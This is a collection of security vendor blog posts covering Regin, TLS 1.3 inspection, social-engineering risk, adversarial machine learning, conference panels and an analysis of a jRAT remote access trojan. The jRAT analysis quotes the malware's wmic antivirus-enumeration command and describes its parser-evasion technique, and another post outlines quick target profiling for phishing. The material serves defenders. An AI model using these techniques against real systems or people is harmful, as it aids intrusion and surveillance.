Regin’s developers put considerable effort into making it highly inconspicuous. Its low key nature means it can potentially be used in espionage campaigns lasting several years. Even when its presence is detected, it is very difficult to ascertain what it is doing. Symantec was only able to analyze the payloads after it decrypted sample files.
It has several “stealth” features. These include anti-forensics capabilities, a custom-built encrypted virtual file system (EVFS), and alternative encryption in the form of a variant of RC5, which isn’t commonly used. Regin uses multiple sophisticated means to covertly communicate with the attacker including via ICMP/ping, embedding commands in HTTP cookies, and custom TCP and UDP protocols.
Conclusions
Regin is a highly-complex threat which has been used in systematic data collection or intelligence gathering campaigns. The development and operation of this malware would have required a significant investment of time and resources, indicating that a nation state is responsible. Its design makes it highly suited for persistent, long term surveillance operations against targets.
The discovery of Regin highlights how significant investments continue to be made into the development of tools for use in intelligence gathering. Symantec believes that many components of Regin remain undiscovered and additional functionality and versions may exist. Additional analysis continues and Symantec will post any updates on future discoveries
Further reading
Indicators of compromise for security administrators and more detailed and technical information can be found in our technical paper - Regin: Top-tier espionage tool enables stealthy surveillance
Protection information
Symantec and Norton products detect this threat as Backdoor.Regin.
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Removing the 'Blind Spots' from SSL/TLS
Here’s how a new standard in network encryption features several security and performance benefits over its predecessor
It was a long time coming but TLS 1.3 is now the official standard in high security network encryption. The 28th and final draft version was approved earlier in the Spring and the international standards board – the IETF – added the final touches and released the protocol on August 10, 2018.
The fact is, TLS 1.3 has been with us for a while. Draft versions of the protocol have been enabled by many web browsers, and popular sites are supporting near-final versions of the protocol too. In its draft form, TLS 1.3 still manages to offer security advantages.
Those who have followed our blog should know that Symantec is excited about the security and performance benefits that TLS 1.3 promises and we’re strong advocates for rapid adoption. However, we’ve also been at the forefront of preparing customers so they avoid any negative fallout should their security tools lack visibility into encrypted traffic.
What makes Symantec stand out is that as of August 29, we’re proud of being able to provide inspection of native TLS 1.3 sessions (the final, approved version); and do not require downgrading to an earlier TLS version.
Symantec, along with other network security vendors, removes the SSL/TLS “blind spots” caused when tools cannot inspect SSL/TLS encryption with solutions that fall under the category of Encrypted Traffic Management. Whether you call the devices a TLS Interception Application (TIA), a Middlebox, a SSL interception tool, or anything else; these are the industry’s go-to devices to solve the problem.
What makes Symantec stand out is that as of August 29, we’re proud of being able to provide inspection of native TLS 1.3 sessions (the final, approved version); and do not require downgrading to an earlier TLS version. We have supported Draft 28 as far back as last March, and earlier drafts going back to last October. But don’t be confused, while Draft 28 was very close to the final, it isn’t exactly the same.
This means that Symantec can act as a controlled man-in-the-middle device to intercept TLS 1.3 traffic, enable inspection, and re-encrypt the traffic with the same protocol version and encryption strength. As far as we know, all other solutions on the market will need to knock the session down to something older and weaker.
TLS 1.3 is now official - and with the most recent launch of the Symantec SSL Visibility Appliance in late August - we support it. If you were waiting for this change to make a move and upgrade your infrastructure to TLS 1.3, now is the time to act. Many of technology’s biggest names are going to move fast to implement TLS 1.3 for the performance and security benefits that come with it.
A quick internal test shows that Facebook, Mozilla, and Cloudflare are using TLS in the Draft 28 form. Google Search may be using TLS1.2, but Gmail is also showing TLS 1.3 Draft 28. It’s highly likely that these internet giants will be using the final version soon. When they are ready, we’re here and waiting.
If Google, Facebook, Mozilla or Cloudflare traffic is hitting your network, shouldn’t it be protected with TLS 1.3 and inspected for malware and other hidden threats? We think you should. Now you have a choice: wait for your middlebox solution to catch up to us in support of TLS 1.3, or give us a shout and let us show you how quickly we can help.
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Repeat After Me: Users Still Are Your Weakest Link
If you fail to address the social media habits and online hygiene of your employees, you’re unnecessarily taking on a huge security risk
I’ve been interested in mantras most of my adult life. The idea that a word or phrase can have both transformative power and be rendered utterly nonsensical by repetition tickles me.
Our mantra in cyber security - and we say it over and over again - is this: Users are the weakest link. But I wonder whether it is beginning to lose its meaning through repetition?
Forensic analysis of the major breaches of the last few years are clear; the bad guys are going after users and zero days. Even a cursory glance at the dark web shows that the gap between Zero Day bug bounties offered by reputable sources and those seeking to compromise is huge. However, credentials are more powerful and far cheaper to come by and interestingly, organisations are still not educating their users on private social media habits.
The social engineering departments of any of the well-organised threat groups can usually find what they need by surveilling the information that people share regularly on Facebook, LinkedIn, Instagram and other social platforms. This helps them to craft attacks that are so targeted and precise that users have little choice but to surrender credentials or remote access to their machines. There seems to be a squeamishness among businesses to address this with users.
Look at how quickly it can be done. Just find an organization on LinkedIn with a named contact. Then cross-reference to a profile on Facebook or Instagram, where it’s easy to exploit lax privacy settings to gather information about birth dates, names of relatives, pets, pastimes and even locations. Then send a weaponized [email protected] to launch the attack. Assuming the payload is already built, this entire process takes about ten minutes per contact.
Staggeringly efficient, and with a surprisingly high hit rate.
With users literally falling over themselves to share details of their personal lives to increasingly ‘unhygienic’ social networks, organisations need to recognize that this introduces real business risk. So few users are aware of even the most basic privacy settings in applications like Facebook, or the notion that a public facing profile picture can yield valuable information about a person.
You can gain an understanding of tolerance for typos, political position, the manner they choose to express themselves, choice of language – and that’s before you get to their second and third level contacts who may also have similarly slack settings on their profiles. Even users who are cognizant of security settings on their profile pictures may not realise that the comments and likes on a cover photo are also visible.
If any of this sounds like stalking, make no mistake – the criminal syndicates don’t care. They will use whatever information is available to get access to your resources, and social media are the richest of sources.
An Ounce of Prevention
To counter, though, all it takes is an hour’s training for your users. Include some hard-hitting case materials about the costs of lack of attention to privacy and you will reduce your risk profile by a huge amount. Even seemingly small behavioral changes pay off. If users stop sharing profile photographs between LinkedIn and Facebook, that will significantly slow down a social engineer. Ensuring that the default public setting for all new Facebook profile pictures is set to ‘Friends Only,’ or limiting the visibility of one’s posts and avoiding ‘Friends of Friends’ as audience visibility - this contributes to reducing risk.
The same goes for removing cover photos, limiting visibility to past posts or ensuring that recommendations on LinkedIn are only visible to professional contacts. So few people get this right and so make it easy for cyber criminals to steal their valuable data.
Weak security settings on social media accounts is literally gold to the hackers. A well-resourced social engineer can unearth enough information to launch a coordinated, targeted attack at your user base. This would give them not only a foothold into your network to begin a campaign, but also significant clues as to the credentials that will allow them to maneuver once they break in.
I always use a statistic compiled by the Mandiant Red Team that it is possible to gain privilege escalation within three days of compromising a network. Now imagine you’re one of the thousand or so truly elite hackers on the payroll of the criminal gangs - or even a solo gun for hire - who can work even more quickly. Users are literally gifting access to your environment. The likelihood is that your median-level user recycles passwords and shares unbelievable levels of personal detail online, leaving them vulnerable to phishing attacks that reference specific personal details.
If you don’t specifically address social media habits and hygiene with these users, your attack surface proliferates exponentially along with your risk profile. Training to address this doesn’t have to be an onerous task, and it can shore up user education in other areas.
It bears repeating: Users are the weakest link. Let’s not let that phrase be diluted by repetition.
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Researchers Seek to Make Machine Learning More Trustworthy
Easy to fool with subtle manipulations, machine learning needs a new teacher. Learn how researchers are fixing the problem
Let’s say you’re riding in a self-driving car and it comes to a stop sign at a busy intersection. But someone who wants to harm you, or maybe your car’s manufacturer, has placed a few stickers on the sign meant to trick your car’s sensors into not seeing it. So instead of stopping, you plow right into an 18-wheeler.
It’s an unsettling image in what has otherwise been a rosy forecast for our artificial intelligence future. But this is the kind of security-threat scenario that software engineers building AI—and the machine learning algorithms that underlie it—need to think about.
“Right now, with machine learning, it’s like the beginning of the internet,” says Somesh Jha, an expert on privacy and security issues at the University of Wisconsin-Madison. “Everyone is happy, and no one is thinking about adversarial consequences, just like with phishing attempts and malicious Java script. It’s the same with machine learning. No one is thinking about what happens with an adversary present. It’s history repeating itself.”
Machine learning is changing the way we live and work.
As companies race to apply machine learning to nearly everything in our lives—from cars, home security, and health care, to manufacturing, finance, aviation, and energy—there’s a lingering problem: These software programs are easy to fool through subtle manipulations. That can be dangerous—and costly—to consumers and corporations.
This past October, the National Science Foundation awarded a $10 million grant to Jha and several other computer scientists to make machine learning more trustworthy. The grant will help set up the Center for Trustworthy Machine Learning. The team has three goals: to develop new machine learning training methods that make it immune to manipulation, devise methods to defend against adversarial attacks, and look for potential abuses of current machine learning models, such as models that generate fake content.
“Machine learning is changing the way we live and work,” says Jha. “How do we protect against an adversary hacking your personal assistant and spending your money, or your front door smart lock to break into your home, or an armed drone to fire its weapons?”
To help prevent these things, researchers are “breaking” AI systems, intentionally tricking them with “adversarial examples” that probe and expose their weaknesses.
They are intentionally attacking spam filters that use machine learning to identify “bad” words and evading them by misspelling the “bad” words or inserting “good” words.” They are attacking computer security systems by disguising malware code that can mislead signature detection. And they are tricking biometric recognition systems by using the equivalent of a virtual fake moustache to impersonate a previously authorized user.
But some of the most startling and frightening examples have been in the field of object detection systems. One type of AI system known as deep neural networks must be taught to recognize and differentiate between say a cat and a house by being fed hundreds of different examples of each. But researchers have shown tweaking a single pixel can trick the machine into thinking a picture of a cat is instead a stealth bomber or guacamole.
In 2017, Anish Athalye, a first-year MIT grad student, and his colleagues created a 3D turtle with an engineered texture that made Google’s object detection AI into classify it as a rifle. “What if we created a rifle that looked like a turtle to a security system?” says Athalye. “You get an idea of the real-world impact. We need to recognize that our machine learning doesn’t work in an adversarial setting and we can’t really trust them.”
So how do we fix it? One way, says Athalye, is to use adversarial examples while training machine learning algorithms in order to help them identify adversarial attacks.
Another, which Somesh Jha is pursuing, is through what’s known as explainability machine learning, in which the algorithm must spit out reasons for its choices. For instance, a doctor might use machine learning to diagnose a patient. Based on various symptoms, the software might classify the patient as diabetic. “But why should a doctor presume it’s correct?” says Jha. “A disgruntled employee may have tampered with it.” By producing an explanation with a diagnosis, the doctor can “see if something looks weird.”
And while experts in machine learning may never come up with a single 100-percent tamper-proof model, just as with other security issues both real world and virtual, making things harder for the bad guys may be the best of all defenses.
Yet another way is for us humans to temper our expectations and not believe all the hype surrounding AI-infused technology and be cautious as we use it. “I have several levels of concern and the first is that people have unrealistic expectations of what this tech can do,” says, a computer security researcher at the University of Washington.
In 2017, Fernandes and other researchers used a machine learning algorithm to figure out that putting glossy, rectangular stickers on a stop sign could trick a car’s object-detection sensor into thinking it was a 45-mph speed limit sign. In another experiment, they made the sign disappear completely to the AI’s detection system. Fernandes has also performed security analysis on smart home appliances like refrigerators, door locks, and fire alarms.
"I am a computer security researcher, but I have interest in looking at emerging tech," says Fernandes. "My goal is to anticipate adversarial attack methods before the bad guys can think of them and then to build real defenses before these emerging technologies—in the internet of things and in the machine learning space—become widespread.”
Fortunately, malicious attacks on machine learning requires a level of sophistication and effort that all but the smartest and best-funded adversarial hackers may not possess or may find too cumbersome to develop. “In the security world we have a principle about how much effort an attacker has to expend to get something,” says Fernandes. “And if it’s more than the value of the thing they’re after, then it’s just not worth it to them.”
And while experts in machine learning may never come up with a single 100-percent tamper-proof model, just as with other security issues both real world and virtual, making things harder for the bad guys may be the best of all defenses. “Taking my work with the stop signs and the work of other researchers and combing as many things as possible so that the hacker gives up is the practical way to think about this,” says Fernandes. “If we create layers so they have to jump through a lot of hoops, they’re less likely to jump.”
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Resilience: Considerations for CISOs in a Post-COVID Era
It’s the word that features prominently at this year’s RSA Conference. 4 CISOs come together to talk about what it means in practice
The RSA Conference 2021 Virtual Experience is happening May 17-20 and Symantec, as a division of Broadcom, will be providing a summary of some of the leading stories from the conference to help you stay informed.
After a tumultuous and draining 2020, it’s not surprising to see the term ‘resilience’ featured prominently during so many sessions at the RSA Conference 2021. And just in case some missed the message, the show organizers adopted the word as the show’s official motto this year.
But what does resilience mean for the security world? As enterprises turbocharge their digital transformation plans, security teams will need to find ways to stop cohorts of increasingly sophisticated threat actors from exploiting mistakes to steal their coveted data.
After a tumultuous and draining 2020, it’s not surprising to see the term ‘resilience’ featured prominently during so many sessions at the RSA Conference 2021.
In the face of that challenge, resilience speaks to a mindset and an approach for a profession that must meet the new demands of a fast-changing world. And not just in North America or Europe. The conference organizers brought together a panel featuring four Chief Information Security Officers from the Middle East to hear what resiliency meant to them.
The panelists included Abeer Khedr, the Information Security Director for the National Bank of Egypt, Arwa Alhamad, the Cyber Security Enablement Director of the Saudi Telecom Company, Biju Hameed, the Director of Technology Infrastructure and Operations for Dubai Airports and Dr. Reem Al-Shammari, the Digital Transformation Leader of Corporate Solutions and Digital Oil Fields for the Kuwait Oil Company. The following excerpts have been edited for clarity.
Khedr:
I'm the CISO of the national bank of Egypt, the largest in the country by market share. The constantly evolving threat landscape is the primary challenge we face. This transformation in banking means that you're offering services to customers via multiple channels today from the internet to mobile, to new disruptive technologies like blockchain-based applications that we are starting to use to electronic wallets that we outsource to fintech companies to manage. In addition, you have to integrate with several third-party systems. So, there are no borders anymore. And the attack surface is constantly widening.
As a financial institution, we are targeted by all sorts of threat actors: the organized criminals that are behind the money banks, the skilled hackers, certain nation states, and even hacktivists. In addition to those threats that are normal to any organization irrespective of its industry, we're also faced with the most common threats, like malware, phishing, ransomware, as well as insider threats. So, this necessitates that as a bank, we maintain and constantly evolve our cyber resilience program accordingly.
We are also ensuring that we have an effective defense in depth strategy to guard against a possible control failure at any one layer. And this is key: which is also reported the regular need to management and the board to keep them aligned.
Al-Shammari:
Securing an oil company that contributes more than 93% of our national income is full of challenges. When we talk about cyber resilience within the company, it's never a specific project or a specific initiative. It's about creating the culture, embracing the three components of people process and technology, where you will be ensuring that you address all of these with the mindset of a CISO and a business partner as well.
We’re always looking to build that cyber resilience capability because it's never a question of will we be attacked; it's a matter of when. We are very aware of that in OT, the cyber risk stretches its physical arm to impact not only data but also sometimes people’s lives. There’s a big challenge involved in securing critical assets and integrating IT with OT and we need to create a common language for both environments. So, it's a continuous journey that takes the whole team to work collectively toward that goal with lots of collaboration.
Alhamad:
Telco companies are moving from becoming technical companies to digital companies. So we need to anticipate any disruptions. We take resiliency seriously. It's on the agenda of our board of directors. If we look at cyber security resiliency, we must think like an adversary. We need to always assume that a compromise is happening. We need to also understand the battlefield and understand that it's constantly changing in the region, outside the region and everywhere. It's an unfair equation because the attackers need to be right just one time. As defenders, we need to be right all the time.
One of the important points here is cyber hygiene. For instance, during COVID-19, everyone raced to bring out new services. But were they given the proper consideration assessments from a security point of view? We need to revisit them to make sure that they’re secure. Also, we need to be well-prepared. Sometimes, the impact of the way you handle an incident is higher than the impact of the incident itself. We need to create business continuity plans and incident response plans as well as scenarios to anticipate what could happen. And finally, we need to test our readiness by doing joint drills…take notes of the gaps and fix them in a timely manner.
Hameed:
The aviation center is no different when it comes to being on the receiving end of cyber pricing attacks. Any effects from a cyber incident affects not just the sector itself, but also national and international interests. The resilience of airlines and airports and the associated supportive functions is vital, and our role is ensuring that this critical sector of operations runs like clockwork. Solid resiliency programs need three core components: cyber security, risk management and enterprise resilience. All these three functions have to communicate, collaborate, and contextualize risks and threats.
Security Challenges
Khedr:
The threat landscape is evolving. In the case of the SolarWinds attack, the threat was not from an attack source that you'd normally expect, but rather from trusted software that you use to manage your network. This meant that there was a failure of controls at multiple levels. Therefore, impacted organizations need to revisit their defense in depth strategy. So, check configurations, recheck the configurations of firewalls, and incorporate the lessons learned from an incident into your cyber programs. Also, organizations need to make their managements and boards aware of incidents and the action being taken to address them. The guidance and support from national CERTs – computer emergency response teams – should be provided to smaller entities that don't have the internal capabilities to pursue an assessment of the impact of an incident.
Alhamad:
I'd just add that two thirds of breaches are actually coming from third-party supply chain or third-party vulnerabilities. We can prevent them if we stop working with third parties but that's not possible in this digital transformation race. So, if prevention is not possible, then mitigation is needed, and we need to start lowering the risk. We need to put under the cyber security microscope all aspects of the supply chain. No one is immune from cyber threats in today's world.
Hameed:
One of the biggest challenges is the fact that there is no longer a definitive perimeter. The emerging technologies that are more popular today referred to as Industry 4.0 technologies have truly become game-changers in how we approach both the technology itself and the cyber security that's practiced around it.
There’s more emphasis on decentralization as you see that the cloud, where a lot of IT has moved away from the traditional on-prem data centers. With the likes of IOT and 5G, we see more intelligence and connectivity move to the edge. This brings about new dimensions of cyber risk. The little device that’s in your pocket or jacket is a mini super-computer on its own. All of this means that the rules of engagement now completely need to be redefined.
Intelligence is taking a much bigger role in influencing outcomes. Take the concept of the digital twin. It now allows for a multidimensional approach when it comes to prototyping, operations, maintenance, and support and training to be done on virtual, augmented, or mixed reality layers without having to undertake the actual physical pain of creating these components or environments.
AI in cyber security is still in its infancy. My personal opinion is that the broader uses of AI in cyber today are mostly assistive in nature and not at the same maturity level in cyber as it is in other domains. When it comes to the bigger disruptions, both AI and Machine Learning only play a coexisting role at this point of time because you still need the human to intervene.
Leadership
Al-Shammari:
In the past, cyber security was an IT imperative. Today, it’s become a business imperative. This means that the business is keen and dependent on us. And being the digital transformation leader, I fill that role wearing two hats – having the mindset of a CSO and also enabling the business.
But building a cyber security culture doesn't come without effort. We need to re-engineer the mindset through collective initiatives that have the sponsorship of the leadership. Then it will filter down to all the other employee levels and by default, everyone will do the same, if not even better. And with that, it becomes cyber resilience.
Alhamad:
They say the biggest challenge in communication is the illusion that it has been taken place. We might be communicating, but we're not communicating the right thing. Maybe we're not communicating the same language with our senior management. So, we need to always communicate, reporting our plans, our achievements, the threat landscape, the news and the headlines.
I believe that employees are the heart and soul of any company and what drives them are the core values. We need to have bold and courageous leadership that sets the direction and enables the teams to execute and make decisions.
Hameed:
Remember the “3 Cs”: collaborate, communicate and contextualize. Identify your risks, define your responses and manage them. And you can never stress this enough: a cyber resilience mindset is a pure amalgamation of cyber security and enterprise opinion. And it's important that all of these functions work hand in hand, transparently and cohesively, to achieve the desired outcomes.
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Rethinking Security for Public Cloud
Symantec’s Raj Patel highlights how organizations should be retooling security postures to support a modern cloud environment
Enterprises have come a long way with cyber security, embracing robust enterprise security platforms and elevating security roles and best practices. Yet with public cloud adoption on the rise and businesses shifting to agile development processes, new threats and vulnerabilities are testing traditional security paradigms and cultures, mounting pressure on organizations to seek alternative approaches.
Raj Patel, Symantec’s vice president, cloud platform engineering, recently shared his perspective on the shortcoming of a traditional security posture along with the kinds of changes and tools organizations need to embrace to mitigate risk in an increasingly cloud-dominant landscape.
Q: What are the key security challenges enterprises need to be aware of when migrating to the AWS public cloud and what are the dangers of continuing traditional security approaches?
A: There are a few reasons why it’s really important to rethink this model. First of all, the public cloud by its very definition is a shared security model with your cloud provider. That means organizations have to play a much more active role in managing security in the public cloud than they may have had in the past.
Infrastructure is provided by the cloud provider and as such, responsibility for security is being decentralized within an organization. The cloud provider provides a certain level of base security, but the application owner directly develops infrastructure on top of the public cloud, thus now has to be security-aware.
The public cloud environment is also a very fast-moving world, which is one of the key reasons why people migrate to it. It is infinitely scalable and much more agile. Yet those very same benefits also create a significant amount of risk. Security errors are going to propagate at the same speed if you are not careful and don't do things right. So from a security perspective, you have to apply that logic in your security posture.
Finally, the attack vectors in the cloud are the entire fabric of the cloud. Traditionally, people might worry about protecting their machines or applications. In the public cloud, the attack surface is the entire fabric of the cloud--everything from infrastructure services to platform services, and in many cases, software services. You may not know all the elements of the security posture of all those services … so your attack surface is much larger than you have in a traditional environment.
Q: Where does security fit in a software development lifecycle (SDLC) when deploying to a public cloud like AWS and how should organizations retool to address the demands of the new decentralized environment?
A: Most organizations going through a cloud transformation take a two-pronged approach. First, they are migrating their assets and infrastructure to the public cloud and second, they are evolving their software development practices to fit the cloud operating model. This is often called going cloud native and it’s not a binary thing—it’s a journey.
With that in mind, most cloud native transformations require a significant revision of the SDLC … and in most cases, firms adopt some form of a software release pipeline, often called a continuous integration, continuous deployment (CI/CD) pipeline. I believe that security needs to fit within the construct of the release management pipeline or CI/CD practice. Security becomes yet another error class to manage just like a bug. If you have much more frequent release cycles in the cloud, security testing and validation has to move at the same speed and be part of the same release pipeline. The software tools you choose to manage such pipelines should accommodate this modern approach.
Q: Explain the concept of DevSecOps and why it’s an important best practice for public cloud security?
A: DevOps is a cultural construct. It is not a function. It is a way of doing something—specifically, a way of building a cloud-native application. And a new term, DevSecOps, has emerged which contends that security should be part of the DevOps construct. In a sense, DevOps is a continuum from development all the way to operations, and the DevSecOps philosophy says that development, security, and operations are one continuum.
Q: DevOps and InfoSec teams are not typically aligned—what are your thoughts on how to meld the decentralized, distributed world of DevOps with the traditional command-and-control approach of security management?
A: It starts with a very strong, healthy respect for the discipline of security within the overall application development construct. Traditionally, InfoSec professionals didn't intersect with DevOps teams because security work happened as an independent activity or as an adjunct to the core application development process. Now, as we're talking about developing cloud-native applications, security is part of how you develop because you want to maximize agility and frankly, harness the pace of development changes going on.
One practice that works well is when security organizations embed a security professional or engineer within an application group or DevOps group. Oftentimes, the application owners complain that the security professionals are too far removed from the application development process so they don't understand it or they have to explain a lot, which slows things down. I'm proposing breaking that log jam by embedding a security person in the application group so that the security professional becomes the delegate of the security organization, bringing all their tools, knowledge, and capabilities.
At Symantec, we also created a cloud security practitioners working group as we started our cloud journey. Engineers involved in migrating to the public cloud as well as our security professionals work as one common operating group to come up with best practices and tools. That has been very powerful because it is not a top-down approach, it's not a bottoms-up approach--it is the best outcome of the collective thinking of these two groups.
Q: How does the DevSecOps paradigm address the need for continuous compliance management as a new business imperative?
A: It's not as much that DevSecOps invokes continuous compliance validation as much as the move to a cloud-native environment does. Changes to configurations and infrastructure are much more rapid and distributed in nature. Since changes are occurring almost on a daily basis, the best practice is to move to a continuous validation mode. The cloud allows you to change things or move things really rapidly and in a software-driven way. That means lots of good things, but it can also mean increasing risk a lot. This whole notion of DevSecOps to CI/CD to continuous validation comes from that basic argument.
For more details on how to automate security and compliance for DevOps, join Raj Patel and Sameer Vasanthapuram: Partner Solutions Architect, AWS on December 18th for their webinar.
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Revamped jRAT Uses New Anti-Parsing Techniques
Symantec observes a version of jRAT using new techniques to evade parsing and detection.
We have recently observed a newer version of the cross-platform jRAT (Trojan.Maljava) remote access Trojan (RAT) in the wild. This version uses new techniques to evade parsing and detection, as well as to prevent itself from being reverse-engineered, by prepending corrupt MZ files before the malicious JAR file.
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We first spotted this version of jRAT in early November 2017. In April 2018, we noticed its number increased more than 300 percent to 1,071 from 333 in March. There could be two reasons why we have not seen huge hits for this version: 1) It wants to remain stealthy and difficult to detect, and used only for targeted attacks; and 2) It may not be widely adopted yet among attackers. While the volumes of these attacks are on the lower side, this jRAT has shown that it is quite capable and can go undetected with minimum presence and anti-parsing methods. The malware mainly targets the financial sector, but we’ve also seen infections in the service, communications, hospitality, government, and energy sectors.
The malware mainly targets the financial sector, but we’ve also seen infections in the service, communications, hospitality, governments, and energy sectors.
Finance-themed spam emails
The infection chain begins with spam emails, which are specially crafted using social engineering techniques to entice victims into opening the attachment. We’ve seen several themes for emails distributing this version of jRAT, including:
Proof of payment
Transfer Details Confirmation
Transfer Error
Invoice
Advance payment Transfer slip and bank account details
Payment Advice
Wire instruction
Credit Advice
Monthly Report format
Figure 1. Sample of finance-themed spam email
Anti-parsing techniques
The emails contain a JAR file attachment. This file comes with a surprise MZ header, as well as two corrupt MZ files prepended before the JAR file.
Figure 2. The JAR file attachment comes with a surprise MZ header and two corrupt MZ files prepended
This thwarts not only MZ parsers, but Java parsers as well. These files do not contain \x00 bytes, which indicates the intent. The MZ files cannot be parsed due to a broken PE structure; the files appear to be full MZ but apparently are used only for evading parsers. This may be considered a defense layer to protect the JAR file from being reverse-engineered. Surprisingly, Java is still able to load and execute this JAR file as weaker zip parsing implementations rely on end of central directory record and parses the content to locate and execute main class.
Figure 3. Corrupt MZ file with 0x00 bytes replaced with 0x20
This file can be recognized as jRAT by looking at the class names.
Figure 4. The wrapper JAR structure
The wrapper JAR file drops a secondary JAR file and copies it to a %Temp% location. The payload JAR file can be extracted using AES decryption. The first 16 bytes in the file “k” seen in Figure 4 contains the key and the file “e” is the encrypted Java payload.
The JAR runs every time Windows starts, and starts executing and connecting to its command and control (C&C) server at 84.[REMOVED].132.145. It uses a WMIC interface to identify antivirus products installed on the compromised computer and firewall details.
wmic /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct get /format:list
The configuration file and key file are visible, but the former is AES-encrypted. The JAR file contains various classes for platform-specific implementations for capturing screenshots, playing audio, downloading and executing files, I/O to and from files, logging keystrokes, among others.
Figure 5. jRAT's configuration file, config.dat, can be decrypted using the AES key in key.dat
Capabilities and target platforms
This new version of jRAT has the following capabilities:
Log keystrokes
Take screenshots
Play an audio message
Access the webcam
Access the file system to read, write, or delete files
Download and execute files
With these capabilities, the malware can violate victims’ privacy and capture and exfiltrate confidential information from target organizations.
It’s also potentially capable of running on the following platforms: FreeBSD, OpenBSD, OSX, Solaris, Linux, Windows, and Android.
Figure 6. C&C addresses and configurations for alternative operating systems
Protection
Symantec and Norton products detect this threat as the following:
Trojan.Maljava
Symantec Email Security.cloud technology blocks attacks such as this using advanced heuristics.
Mitigation
Symantec advises users to be careful while opening emails about monetary transactions containing JAR attachments.
Emphasize multiple, overlapping, and mutually supportive defensive systems to guard against single point failures in any specific technology or protection method. This includes deployment of endpoint, email, and web gateway protection technologies as well as firewalls and vulnerability assessment solutions. Always keep these security solutions up-to-date with the latest protection capabilities.
Employ two-factor authentication (such as Symantec VIP) to provide an additional layer of security and prevent any stolen or cracked credentials from being used by attackers.
Educate employees and urge them to exercise caution around emails from unfamiliar sources and around opening attachments that haven’t been solicited.
Require everyone in your organization to have long, complex passwords that are changed frequently. Encourage users to avoid reusing the same passwords on multiple websites, and sharing passwords with others should be forbidden.
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RSA 2022: All Your Macs Belong to Us…. Again!
Three ways to protect your macOS from bugs
One of the selling points of the macOS is that it was far less prone to cyberattacks than Windows-based systems. That may have been true several years ago. No longer. Cyberattacks are now an equal opportunity threat.
Indeed, during his RSA session, Objective-See Founder, Patrick Wardle argued the case that recent macOS infections have set back Apple’s security infrastructure over a decade. His message to attendees: the sooner users and developers understand the threats poised against the operating system, the more likely they’ll put necessary protections in place. As with all threats, education is everything.
In some respects, Apple is simply the victim of its own stunning success. As Macs become more prevalent in the enterprise, the number or threats targeting Macs have grown to the point where Wardle put them on a par with the number attacks aimed at Windows-based machines.
As attacks against the macOS increased, Apple put in place various measures. In 2008, the company launched File Quarantine, which automatically alerts users that the item they’re about to run originated online — A decent start, Wardle said, but ultimately benign. Users, after all, commonly chose “yes” to execute without taking the threat seriously. Gatekeeper, introduced in 2012, and Notarization in 2019, both improved the process but only to a point.
As Broadcom Software cautioned back in 2021, while Gatekeeper and Software Notarization make it challenging for malicious actors to get malware installed on a Mac, malware authors have always recognized security is only as strong as its weakest link; and that weak link is human.
Gatekeeper intercepted online downloads it detected were unsigned, while Notarization forces developers to submit all applications to Apple so it can either approve or refuse entry. To Wardle, Notarization proved it was “a strong step in the right direction.”
But not strong enough. Despite those measures, two separate developers discovered two different bugs that, over the last decade, have successfully bypassed all security measures Apple painstakingly put in place. These vulnerabilities have allowed unsigned apps to bypass all patches and foundational security mechanisms represented by File Quarantine, Gatekeeper, and Notarization.
During his presentation, Wardle demonstrated how user assistance is the primary driver of macOS infections.
During his presentation, Wardle demonstrated how user assistance is the primary driver of macOS infections. Users are tricked into believing the sites they visit or the content they download is legitimate. According to research, the volume of threats targeting macOS is either higher or equal to those against Windows, which has raised alarms in the world of Apple only recently.
The bad news is that these two bugs got through the gates, there are likely more on the way. The good news is that both problematic bugs are shallow and not difficult to destroy. Both were discovered, not by complicated reverse engineering efforts, but accidentally by developers who noticed protective information missing from certain scripting. They, said Wardle, are “powerful logic bugs” — simple to craft and to deploy, but just as simple to discover and contain.
Users who don’t want to wait for the fourth security platform from Apple can take three separate actions to make sure their macOS is protected.
First, install all patches as soon as they are out. Apple is known for doing the right thing and creating patches for its security flaws. Don’t wait. Make sure all patches are activated, especially if your system contains sensitive files or data.
Secondly, install a Mac-centric Endpoint Detection and Response (EDR) product that is tasked to continuously monitor all your devices, from your laptop to your desktop to your iPad, to automatically detect and respond to ransomware and malware.
Finally, continue to learn about macOS threats. The cat-and-mouse game between bad parties and end users is not ending anytime soon. Keeping yourself notified of all current bugs will put you one step ahead of protecting your system.
To learn more on how Broadcom Software can help you modernize, optimize and protect your enterprise, contact us here.
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RSA 2022: A Roadmap for Building Enterprise-Scale DevSecOps
ADP outlines a multi-pronged strategy that elevates DevSecOps from development silos to enterprise-scale success
After an avalanche of high-profile cyberattacks, Broadcom Software is seeing the importance of shift-left security finally resonating with development organizations. Yet many still struggle to seamlessly integrate DevSecOps into a widely adopted enterprise framework.
There’s no question that DevSecOps, which aims to transparently meld security practices into holistic agile IT and DevOps processes, has gained traction in the wake of the SolarWinds supply chain attack and Log4J vulnerability, among a litany of other breaches. According to Gartner, 90% of software development projects are expected to follow DevSecOps practices this year, significantly up from 40% in 2019. Nevertheless, 70% of DevOps professionals said they lack the necessary formal education and training in order to successfully execute DevSecOps practices, according to another survey.
ADP, the human resources services and payroll giant, is in the midst of an on-going journey to address disjointed DevSecOps practices, and the project’s leaders highlighted its strategy and solution at a panel discussion at the 2022 RSA Conference.
After an avalanche of high-profile cyberattacks, Broadcom Software is seeing the importance of shift-left security finally resonating with development organizations.
ADP identified the need for enterprise-scale DevSecOps for a variety of reasons, all coalescing around the fact that autonomous development groups operate with a great deal of variability, impeding visibility into security problems and limiting any ability to remediate consistently. Most development groups rely on different technology stacks, with each taking its own approach to detecting and closing security vulnerabilities. Silos prevent a uniform view of the security state of applications across individual departments and make it difficult to enforce a uniform level of compliance across the greater enterprise. There are also numerous flavors of scanners available, making it difficult to process vulnerability feeds and cut through scanner noise.
“Autonomous groups and multiple products—that’s the heart of the enterprise DevSecOps problem,” said Prateek Mishra, senior director, security architecture in the CTO office at ADP, during the RSA panel, entitled “Building an Enterprise-Scale DevSecOps Infrastructure: Lessons Learned.”
Another big obstacle to enterprise-scale DevSecOps: Ensuring that development teams are only tasked with the security vulnerabilities relevant to them given the broad scope of application artifacts, from git branches to build processes to docker containers. The lack of information sharing among development teams, coupled with a general lack of remediation guidance were on-going challenges.
One of the central pillars of the ADP enterprise DevSecOps framework is creating linkages between repositories and projects and relevant products and product teams based on machine readable meta-data.
